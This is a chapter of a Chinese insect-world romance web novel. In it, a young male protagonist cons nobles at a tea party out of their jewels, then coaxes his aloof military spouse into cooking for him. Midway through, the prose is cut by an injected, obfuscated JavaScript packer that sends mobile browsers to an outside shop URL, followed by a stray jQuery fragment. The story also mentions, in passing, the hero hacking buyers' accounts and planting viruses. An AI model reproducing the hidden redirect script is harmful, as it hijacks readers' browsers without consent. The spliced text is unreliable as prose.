“我早跟你说过他是性冷淡吧?你还不信!”旺财洋洋得意。
尤安本来就很烦了,他把自己的金发揉得毛茸茸的,抓起旺财就丢进了床底,“都怪你这个乌鸦嘴!!”
尤安气得很晚才睡着,第二天凌晨两点半就醒了。
他打开门,拉住守夜的侍虫,问:“雌君呢?”
侍虫仍旧是那副不热络也不失礼的冷淡样子,道:“您说家主大人吗?家主他昨晚去了军部,听说是有紧急事宜。”
怎么就这么巧?分明是在躲他吧!
感觉自己费尽心思的勾引再次被蔑视了的尤安怒气值积累中。
他深吸了一口气,绽出了一个温和的笑,“既然这样,通知大家一声吧,我起来了。”
郁闷的尤安决定今天给自己找点乐子,至少他不好过,其他虫也不能好过。
黑压压的一群侍虫再次聚集在客厅,比起昨天,这群虫脸上是显而易见的睡眠不足。
尤安已经接受良好,坐在主位的椅子上,笑眯眯地听每个侍虫讲述迟到的理由。
漂亮的少年窝在躺椅上,脸上仍旧带着和往日没什么差别的笑容,看着温顺而乖巧,可总让虫莫名觉得心里毛毛的。
老管家被巡逻的侍虫喊醒时还震惊了一瞬,他本来以为小阁下昨天是因为紧张婚礼才没睡好,所以早起了。
怎么今天还起得更早了?
应该只是娇滴滴的雄虫初来府邸,还没适应。
他很快又平常地认为不用担心,毕竟整个虫族都知道,雄虫是最娇贵嗜睡的生物,面前的少年坚持不了几天的。
独自坐在巨大的桌子前用完了早饭,尤安开始在终端上搜索“主星最高的建筑”。
看着看着,他撇起嘴,好没劲啊。
主星这么有钱,为什么不多修一些高大的建筑呢?废流星都有超级多废弃的高大工程塔,闲的没事爬一爬,多好玩啊。
难道主星的虫都不爱爬吗?
不可置信,那也太没品了吧?!
正苦恼着,侍虫递上了一封粉红色的信笺,信笺上甚至用了宝石装点,“阁下,这是诺兰殿下的邀请函,他邀请您去谢尔顿公爵府参加茶会。”
定制的飞艇还没好,尤安本来打算坐着科特威尔府邸的飞艇出去逛逛,找找乐子的。
茶会?
他还没参加过茶会,虽然感觉不会好玩,但他太无聊了,就去找别的虫聊聊天吧。
科特威尔府邸的侍虫都是闷葫芦,尤安这几天基本抓着身边的侍虫聊了个遍,几乎只有他自己在讲话,没意思。
科特威尔府邸地处靠近皇宫、属于高层贵族的居住区,这里的地皮说是寸土寸金都不为过。
上层贵族的府邸之间相距并不远,飞艇很快就落地了。
公爵府前的空地上已经停了很多辆标志着家徽的豪华飞艇。
尤安把面前的公爵府和自己住的科特威尔府邸简单做了个对比,发现完全不是一个量级。
面前的府邸再大,也在府邸的范畴内,而科特威尔府邸,已经大到能算得上庄园了。
尤安头一次对自己赘入了顶级豪门有了更深的感悟。
只可惜赘的虫是个性冷淡,可恶啊。
被几个侍虫恭敬地引进府邸时,宽阔的会客厅已经坐了不少虫,大家正吃着茶点,自由地谈论,或玩些时新的解闷的小游戏。
引他来的侍虫已经简单地介绍了情况和虫员,尤安对名字和脸天生敏感,所以环顾一圈后,他基本确定了在场各位的身份。
主位坐着个年轻的雄虫,他穿着华贵,有头深褐色的短发,正眯着眼睛慵懒地靠在椅背上,有一搭没一搭跟身旁的虫聊天。
毫无疑问,那便是今日茶会的发起者,虫皇陛下的唯一雄子——诺兰·迪瓦尔殿下。
坐在他身边年长些的雄虫,则是谢尔顿公爵府的雄子,叫作塞西尔,侍虫说两虫关系很好,于是诺兰殿下偶尔会在公爵府举办一些社交活动。
金发的少年刚迈入室内,便吸引了周围虫的目光。
他生得很漂亮,眉眼精致,金色的发丝在落地窗照进来的阳光下熠熠生辉,身形还带着单薄,但并不矮,恍惚间很容易认成昳丽的亚雌。
少年垂下眼,一副柔顺而拘谨的样子,怯生生道:“打扰诸位了,感谢诺兰殿下的邀请。”
那些目光含着并不友好的八卦之意,尤安清楚为什么。
毕竟他最近在虫网论坛上算得上大红虫了。
塞西尔很热情地吩咐侍虫拉开他的椅子,让他坐在身边,“尤安阁下,初次见面,你比照片上还要好看很多呢。”
诺兰盯着他看了一会儿,不情不愿地轻哼道:“发色很漂亮。”
接着,塞西尔开始跟诺兰聊天,这位殿下每次都只是淡淡地回句什么,有时候甚至都不回,塞西尔似乎也习惯了。
尤安主动问看起来话最多的塞西尔,“主星有什么好玩的地方吗?”
塞西尔只是笑了笑,“不好意思,我也不太清楚。”
别的虫不知道尤安或许还信,面前这些平日把吃喝玩乐当作生命主题的雄虫说不知道,尤安不信。
塞西尔飞快塞给他一句敷衍话后,又就开始殷勤地挑拣话题跟诺兰聊天。
请他来的诺兰更是连正眼也不分给他一个。
“殿下,我新得了件好玩的东西,让您看看……”
时不时有雄虫用各种理由来搭讪诺兰,就在旁边的尤安竟然无虫问津,想聊也没虫聊。
尤安算看出来了,这是只有雄虫的茶会,在座的基本都是贵族出身的A级雄虫,雄虫之间本来就有敌意。
被请到尊贵的殿下旁边坐着,是因为他的雌君出身顶尖贵族。
而没虫愿意搭理他,是因为他出身卑微,来自荒星,和这群虫的阶层格格不入。
原本尤安也没指望他们喜欢自己,他就来蹭吃蹭喝,消磨一下时间,要是能聊聊天就更好了。
但是这群可恶的虫专门请他来,还把他晾在一边,他就不太高兴了。
尤安于是把目光放到诺兰殿下身上,露出那乖顺的笑眯眯的表情。
旁边伪装成普通随行终端的旺财默默感慨。
这表情它再熟悉不过了,啧啧。
“诺兰殿下,您身上的宝石真漂亮呀,胸针用的是穆兰矿脉最上乘的粉水晶吧,这个颜色真的很少见呢……”
尤安瞥了一眼皇子身上昂贵的宝石首饰,很轻松地列举出了每颗宝石的产地和品类。
诺兰果然被他的话吸引了兴趣,看了过来,挑眉道:“你对宝石倒是挺懂的嘛。”
“我对珠宝算是有点儿小兴趣呢,不过跟别的虫不太一样,越是这种比较珍稀少见的宝石,我越喜欢。”
金发的少年脸上露出腼腆的笑,先是认真夸赞,接着装作不经意谈起了“荒星出产的特殊宝石”。
“不知道您有没有见过这种宝石,只在我们那片工业矿区出产,几百年才能发现一颗,几乎买不着,通体肉眼看去是黑色的,但是在阳光和灯光下看是半透明的,内部会呈现出彩色的花状晶体纹路……”
说着,他从空间戒指里拿出了来一颗。
“真的耶,里面有彩色的花……”
“这倒是从来没见过的宝石。”
有几个雄虫凑了过来,虽然很明显的大部分都是为了跟殿下搭话,但是尤安不在乎。
不要钱的捧哏而已。
诺兰果然感兴趣,开始还装作不在意,看见雄虫们都新奇凑过来看,甚至有虫提出要买,就有些着急了。
“不过就是块丑死了的黑色石头而已,也不能用来做什么首饰。”
他说着,把自己胸口的镀金水晶胸针摘了下来,“不过勉强还算有点儿意思,我用这个跟你换。”
“但是……”金发少年脸上露出犹豫与不舍。
财大气粗的雄虫接着又摘下了无名指上的宝石戒指。
“够了吧?”
“殿下,这不是钱的问题。这块宝石很难得,我也是好不容易才得到的,几百年都不一定能发掘出这么一颗……”
尊贵的雄虫把身上几乎全部的宝石首饰都拿了下来,堆成了一座金灿灿的小山,推到自己面前,尤安才面带不舍地松口,让对方得意地捧着一块黑色废料回去了。
是的,废料。
什么荒星生产的宝石,要是荒星产宝石那就不是荒星了,这东西就是工业提炼后产生的工业废品,整天成吨成吨地被倒进垃圾区。
在根本没有工业区,都是依靠进口遥远工业星球制品的主星来说,很少有虫认得这个,整天痴迷享乐的雄虫当然更不知道了。
兴许是身上的珠宝轻了,虫性也开始复苏了,诺兰宝贵地把废品捧在手心,开始主动跟尤安聊天。
“你竟然能一下子认出穆兰矿脉的粉水晶?毕竟这个矿脉很少产粉水晶,这还是我雌兄从拍卖场给我带回来的,就连我找的鉴定师都没认出来。”
大家一看殿下似乎很喜欢这位从荒星来的平民虫,立马觉醒见风使舵的本能,凑上来一起相谈甚欢。
“不知道大家平时养宠物吗?这是我来主星前就养着的宠物,不需要喂食,手感可好了,毛茸茸的,听说它是某些原始虫类血脉退化的后代,只出没在没有污染的深山,数量稀少,难以捕捉……”
其实是废流星漫山遍野到处爬的原始毛毛蛛,上山玩一趟能踩死一百只,最喜欢半夜尖叫着弹来弹去,送仇虫必备。
“我住的荒星旁边是一个专门产香料的小星球,那里没有工业区,种满了一种奇特的香料木,树皮可以用来制作熏香,点燃后有香雾,不怎么好闻,但是可以帮助入眠和滋补精神力,缺点是产量很少,这种好东西刚拉出产地就被分完了,根本轮不到分去远方的星球,我这里刚好有一点儿……”
不知道是什么木头,反正随手从地上捡的,如果真能帮助入眠,那应该是被毒晕了。
……
尤安平等地用一堆垃圾在凑过来的每个贵族雄虫身上进行羊毛的薅。
不一会儿,他的空间戒指里就堆满了值钱的金银珠宝。
看着面前的一群虫都光秃秃地捧着垃圾傻乐,尤安就知道这场茶会来对了。
下次还要来,他太喜欢跟笨蛋一起玩了。
这些贵族雄虫戴在身上彰显尊贵的门面首饰,哪个都是价值连城的。
而且尤安用宝贵的随身戒指空间带垃圾就是为了耍虫玩,不耍白不耍。
这么阔绰,又傻乎乎的天使投资虫去哪找?
这里竟然有一屋子,感谢虫神馈赠。
尤安长得漂亮,说话也很漂亮,又会适时地扮弱,还分享了很多新奇的、带着异域风情的众虫闻所未闻的故事,给大家听得一愣一愣。
对并不擅长社交的众雄虫来说,简直是降维打击,瞬间原本看不起他的贵族雄虫都开始争先恐后地要加他虫信。
“可惜我的虫信账号刚刚注册,每日有添加限额……”
尤安带着不好意思的羞涩笑容,专捡虫群中看起来最傻最有钱的几个添加。
这叫精准筛选最优质客户(冤大头)。
“呵呵,不过是荒星来的低贱血统的虫,倒是挺会讨好虫,你在荒星不会也靠这点本事勾引那些低贱的雌虫来存活吧?”
虫群后方,突然传来一道刻薄的声音。
“我要是你,我可不会好意思来参加这种高等聚会。”
尤安看过去,说话的雄虫长得还可以,中等身材,衣着考究但镶满过多宝石,仿佛是用昂贵的行头硬撑出来的底气。
自从来了主星,除了今天参加茶会,他很确定自己之前没有见过其他的雄虫,自然也不可能得罪这只不认识的虫。
这虫竟然敢来招惹他!
尤安遮掩住眼底的阴鸷,垂下头,眼睛瞬间红了,眼眶几分薄泪翻涌,“对不起,我确实是从荒星来的,如果我有哪句话说错了,请您告诉我,我一定会改的……”
说着,少年慌张地擦了一下眼泪,站起身来,露出强忍着委屈的得体的笑容,“要不我还是走吧,打扰大家兴致了,对不起,就像这位阁下说的一样,我根本不配来殿下的茶会,感谢殿下的邀请……”
这里的雄虫全都是家里的心尖宠,要什么得什么,从小几乎没掉过眼泪,哪见识过尤安这样说掉眼泪就掉眼泪,还掉的这么好看的虫。
事实证明,这招对雌虫好使,对同类的雄虫也不差。
“你走什么?坐下。”
诺兰立马皱起眉,接着,他转头不满地冲发难的雄虫叫道:“你是哪个家族的?好大的威风啊!我发邀请函请来的虫,你说赶走就赶走,这是你的茶会吗?!”
塞西尔也跟着道:“艾尔阁下,你不喜欢大可以离开,何必说出如此过分的话?”
“你自己也是小家族出身,还是个烂大街的B级雄虫,傍上了现在的雌君,才勉强给你个跟我们一起喝茶的机会,你还好意思看不起别的虫?”
抱着魔丸原始毛毛蛛的雄虫也义愤填膺道。
发难的,名叫艾尔的雄虫瞬间涨红了脸,手指攥紧又松开,朝诺兰讨好地笑道:“我也是怕殿下沾染了他身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800628|210620||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
低贱的气息……”
诺兰毫不客气地呵斥道:“你给我滚出去!以后我举办的宴会你都不准来!”
艾尔的脸色瞬间变了,又不敢顶嘴,他不甘心地看了尤安一眼,气恼地快步走出了会客厅。
借着垂头掩藏,尤安探究地盯着艾尔离去的背影。
这可并不是毫无由来的、仅仅出于嫉妒或其他肤浅原因的刁难。
他有预感,这虫肯定还会来找他的。
敢骂自己,下次绝对不会让他走的这么轻松。
“谢谢诺兰殿下……”
金发少年适时摆出崇拜的、眼睛亮闪闪的样子。
当救世主的满足感涌上来,诺兰傲娇地哼了一声:
“我最讨厌你这种软弱还没心眼的虫了!你以后给我硬气起来,不然其他虫也会欺负你的,知道吗?还有,你身上怎么一件珠宝都没有?寒酸死了!年纪大不懂风情的军雌就是不会疼虫!茶会结束赶紧去挑两件,记我的账,省得以后在我身边丢虫。”
尤安点点头,发出真诚的夸赞,“诺兰殿下,您真好。”
他决定了,之后将每天给诺兰殿下这个天使投资虫发一百条卖惨信息进行热暴力。
其他虫也围着他,七嘴八舌。
“以后再有新奇的东西,可得第一时间拿给我们看啊!”
“还有你说的那个‘前世雌父偏心雄兄,重生后我被偏执上将宠疯了’这本书从哪里买啊?”
“所以那个讨厌的雄兄最后到底有没有被抓到?雌父受到什么惩罚了?生了两个雄虫已经是天大的福气的,要是我们家族得高兴疯了!他竟然还敢厚此薄彼!”
“谢谢大家喜欢,今天时间不早了,我该回去了,改天我再给大家讲结局吧。”
实在编不出来了。
……
回了府邸,尤安把薅来的金银珠宝堆满一整个桌子,感动地挂上匿名交易黑市全卖了。
敢砍价的立马让旺财把他们账号黑掉,敢多问几句的立马往他们终端植入病毒,仍旧劫匪式卖家。
“您的账户接收到入账8764000积累点——”
有钱真好啊……
小钱钱……
尤安诚挚的感慨,世界上最美妙的声音也不过如此了。
给主星的风土虫情一个好评!
晚餐时,尤安终于见上那个半夜跑去军部待了整整一天的大忙虫了。
一看见对方的脸,原本还挺高兴的尤安,瞬间想到了昨晚对方对自己无声的羞辱,满腹的怨怼再次涌了上来。
他用碧蓝的眼睛一眨不眨地盯着桌子对面的虫进餐。
之前都是他拖着椅子跑到雌君旁边,黏糊糊叽叽喳喳地边聊天边吃饭,但这次他生气了,于是故意不动弹,想让雌虫主动来哄他。
可对方只是垂眸,姿态优雅地用刀叉切肉,送进口中,缄默地进食,什么话都不说。
自己不舒服也要让别的虫不舒服的良好品质又开始顶号了。
于是他果断站起身来,绕过长桌,走到了对面的虫身边,开口道:“雌君,我不想吃这些食物。”
军雌方才放下手中的刀叉,侧脸看向他,眼神平静,正要开口——
“雌君……”
少年却打断了他,声音带了一丝委屈:“你做饭给我吃好不好?”
四周瞬间陷入寂静。
老管家眉头一皱,走上前来,道:“阁下,若饭菜不合您的口味,您可以外出用餐。请不要向家主大人提出这样过分的要求。”
“不。我要吃雌君亲自做的。”
尤安故意一脸天真地问:“我听说主星的贵族家族为雌虫开展的礼仪课里有烹饪课,雌君难道不会做饭吗?而且……”
“家规只说侍虫和厨师烹饪时不可以添加香料,没说家主烹饪时不可以加呀。”
众侍虫顿时面面相觑,这么说确实没毛病。
但是谁能想到尊贵的家主放着满屋子的侍虫不用,亲自下厨给自己做饭吃啊?!
老管家眉头皱得更深了,语气沉沉的,“阁下,话虽如此,您怎么能让尊贵的家主大人降贵纡尊去做这种杂活?请您不要提出这种过分的请求!”
那天,家主突然吩咐下来,说他和一位年轻的雄虫婚配了,通知府中妥善地做准备时,他就不是很看好这门婚事。
他觉得像家主那样尊贵又强大的虫,本事应该全部施展在效忠帝国的伟大事业上,绝对不能像其他雌虫那样低声下气围着雄虫转。
原本觉得这个从荒星来的小雄子跟其他娇贵的雄虫不同,还算懂事,他才一直没有过多规劝对方。
现在看来,果然雄虫都是麻烦且矫情的生物。
少年的眼眶瞬间盈满眼泪,垂下头,手指捏着衣角道:“对不起,费尔爷爷,我太烦了吗?府邸里的大家果然都是很讨厌我的吧?对不起,雌君,我现在就联系雄保会的专员,现在就离开,绝对不给你们添麻烦……”
老管家的表情变得更凝重了,他正要再次开口——
“别凶他。”
原本端坐的军雌站了起来,打断了他正要说出口的指责,声音不高,不重,甚至没有明显的情绪起伏,但是含着很明显的维护。
老管家语气是不可置信和焦急,“家主,尤安阁下他竟然让您……”
科特威尔淡淡道:“他年纪还小,不懂事。”
尤安真是不懂自己这个雌君的心,说他喜欢他吧,他昨晚跑去军部也不肯和自己待在一个房间内。
说他讨厌他,他对待他又确实没话说,不光出手巨额零花钱,也会维护自己。
老管家强行压抑住了怒火,低声哄道:“府邸里没有香料,家主也不会做饭,要不尤安阁下您还是出去吃吧?我现在就让虫准备……”
“那就现在去买香料,去买也很快的。”
尤安只是道:“做的怎么样都好,我不挑食,我就要雌君做给我吃。”
说着说着,尤安又不高兴了,这老头真磨蹭,正主都没说不愿意,他唠叨什么。
于是他转头看向科特威尔,道:“雌君,亲手给我做吃的吧。”
科特威尔银蓝色的眸子动了。
少年正仰起脸认真地看着他,以往温顺的虫此刻展现出了近乎执拗的坚定。
军雌却感觉到喉咙发紧了起来。
他感觉到一股异样的情绪翻涌着,不是愤怒,更不是厌恶,而是复杂的、带着隐秘快感的——
顺从欲。
他在命令他。
脖颈间,抑制环的电流瞬间顺着神经攀升上来。